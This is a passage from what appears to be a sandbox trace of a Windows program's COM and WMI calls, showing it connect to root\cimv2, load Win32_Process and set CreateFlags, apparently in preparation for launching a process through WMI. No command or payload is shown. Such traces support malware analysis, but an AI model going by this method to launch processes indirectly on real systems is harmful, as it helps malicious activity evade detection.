pType=0x28bea68*=19, plFlavor=0x28bea6c*=0) returned 0x0 [0156.456] IWbemClassObject:Put (This=0x1bbb5800, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0156.456] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a4d0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0156.456] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0156.456] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0156.456] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.456] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0156.456] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0156.456] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0156.456] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.458] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbd87e0) returned 0x0 [0156.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd87e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0156.458] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd87e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc40640) returned 0x0 [0156.458] WbemDefPath:IUnknown:Release (This=0x1bbd87e0) returned 0x0 [0156.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc40640) returned 0x0 [0156.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0156.458] WbemDefPath:IUnknown:AddRef (This=0x1bc40640) returned 0x3 [0156.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0156.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0156.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbd8580) returned 0x0 [0156.458] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.459] WbemDefPath:IUnknown:Release (This=0x1bbd8580) returned 0x3 [0156.459] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0156.459] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0156.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0156.459] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x2 [0156.459] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x1 [0156.459] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0156.459] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0156.459] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40640, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc40640) returned 0x0 [0156.459] WbemDefPath:IUnknown:AddRef (This=0x1bc40640) returned 0x3 [0156.459] WbemDefPath:IUnknown:Release (This=0x1bc40640) returned 0x2 [0156.459] WbemDefPath:IWbemPath:SetText (This=0x1bc40640, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0156.459] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0156.459] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0156.459] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.459] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0156.459] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0156.459] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0156.459] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.460] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbd85e0) returned 0x0 [0156.460] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd85e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0156.460] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbd85e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbd8240) returned 0x0 [0156.460] WbemLocator:IUnknown:Release (This=0x1bbd85e0) returned 0x0 [0156.460] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8240, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbd8240) returned 0x0 [0156.460] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8240, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0156.461] WbemLocator:IUnknown:AddRef (This=0x1bbd8240) returned 0x3 [0156.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8240, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0156.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8240, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0156.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8240, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0156.461] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0156.461] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0156.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8240, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0156.461] WbemLocator:IUnknown:Release (This=0x1bbd8240) returned 0x2 [0156.461] WbemLocator:IUnknown:Release (This=0x1bbd8240) returned 0x1 [0156.461] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0156.461] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0156.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8240, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbd8240) returned 0x0 [0156.461] WbemLocator:IUnknown:AddRef (This=0x1bbd8240) returned 0x3 [0156.461] WbemLocator:IUnknown:Release (This=0x1bbd8240) returned 0x2 [0156.461] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0156.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0156.461] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.461] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbd8260) returned 0x0 [0156.461] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbd8260, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc66090) returned 0x0 [0156.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc66090, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdd280) returned 0x0 [0156.544] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd280, pProxy=0x1bc66090, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0156.544] WbemLocator:IUnknown:Release (This=0x1bbdd280) returned 0x1 [0156.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc66090, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdd2c0) returned 0x0 [0156.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc66090, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdd280) returned 0x0 [0156.545] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd280, pProxy=0x1bc66090, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0156.545] WbemLocator:IUnknown:Release (This=0x1bbdd280) returned 0x2 [0156.545] WbemLocator:IUnknown:Release (This=0x1bbdd2c0) returned 0x1 [0156.545] CoTaskMemFree (pv=0x1bc19560) [0156.545] WbemLocator:IUnknown:AddRef (This=0x1bc66090) returned 0x2 [0156.545] WbemLocator:IUnknown:Release (This=0x1bbd8260) returned 0x0 [0156.545] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0156.545] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0156.545] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc66090, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdd290) returned 0x0 [0156.546] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd290, pPrx=0x1bbd8340, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0156.546] WbemLocator:IUnknown:Release (This=0x1bbdd290) returned 0x2 [0156.546] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0156.546] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0156.546] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc66090, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc66090) returned 0x0 [0156.546] WbemLocator:IUnknown:Release (This=0x1bc66090) returned 0x2 [0156.546] SysStringLen (param_1=0x0) returned 0x0 [0156.546] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40640, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0156.546] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0156.546] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.546] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a4d0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0156.546] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a4d0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0156.546] IWbemServices:GetObject (in: This=0x1bc66090, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbb5b70, ppCallResult=0x0) returned 0x0 [0156.550] IWbemClassObject:Get (in: This=0x1bbb5b70, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0156.550] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0156.550] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0156.550] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0156.550] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0156.550] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0156.550] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.552] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbd8260) returned 0x0 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8260, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0156.552] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8260, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc40580) returned 0x0 [0156.552] WbemDefPath:IUnknown:Release (This=0x1bbd8260) returned 0x0 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc40580) returned 0x0 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0156.553] WbemDefPath:IUnknown:AddRef (This=0x1bc40580) returned 0x3 [0156.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0156.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0156.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbd8280) returned 0x0 [0156.553] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8280, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.553] WbemDefPath:IUnknown:Release (This=0x1bbd8280) returned 0x3 [0156.553] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0156.553] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0156.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0156.553] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x2 [0156.553] WbemDefPath:IUnknown:Release (This=0x1bc40580) returned 0x1 [0156.553] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0156.553] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0156.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40580, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc40580) returned 0x0 [0156.553] 